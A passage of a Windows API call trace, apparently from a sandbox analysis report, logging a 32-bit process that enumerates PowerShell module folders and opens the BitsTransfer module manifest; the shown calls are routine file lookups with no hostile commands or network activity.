lpOldMode=0x5a2e1c0) returned 1 [0169.543] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0169.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0169.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0169.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.543] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0169.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0169.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.544] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.544] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0169.544] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0169.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.544] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.544] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0169.544] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0169.544] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.545] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.545] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0169.545] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0169.545] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0169.545] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.545] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0169.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0169.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0169.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0169.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0169.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0169.546] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22ccfc4 | out: lpFileInformation=0x22ccfc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0169.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0169.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.546] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0169.546] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0169.546] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.546] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.546] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0169.546] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0169.546] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.547] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0169.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0169.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0169.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0169.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0169.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0169.547] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22cd794 | out: lpFileInformation=0x22cd794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0169.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0169.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0169.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0169.548] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.548] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.548] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37af1c1c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x37af1c1c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x37af1c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer.Format.ps1xml", cAlternateFileName="")) returned 1 [0169.548] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a2760e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x14a2760e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37b3dedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer.psd1", cAlternateFileName="")) returned 1 [0169.548] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1e4bcac7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0169.548] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c83bd9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c83bd9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c83bd9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll", cAlternateFileName="")) returned 1 [0169.548] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c83bd9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c83bd9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c83bd9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll", cAlternateFileName="")) returned 0 [0169.548] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.548] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0169.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0169.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0169.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0169.549] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22cdfac | out: lpFileInformation=0x22cdfac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a2760e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x14a2760e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37b3dedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3b6)) returned 1 [0169.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0169.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0169.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e350) returned 1 [0169.550] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x414 [0169.550] GetFileType (hFile=0x414) returned 0x1 [0169.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e34c) returned 1 [0169.550] GetFileType (hFile=0x414) returned 0x1 [0169.550] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x0 [0169.550] ReadFile (in: hFile=0x414, 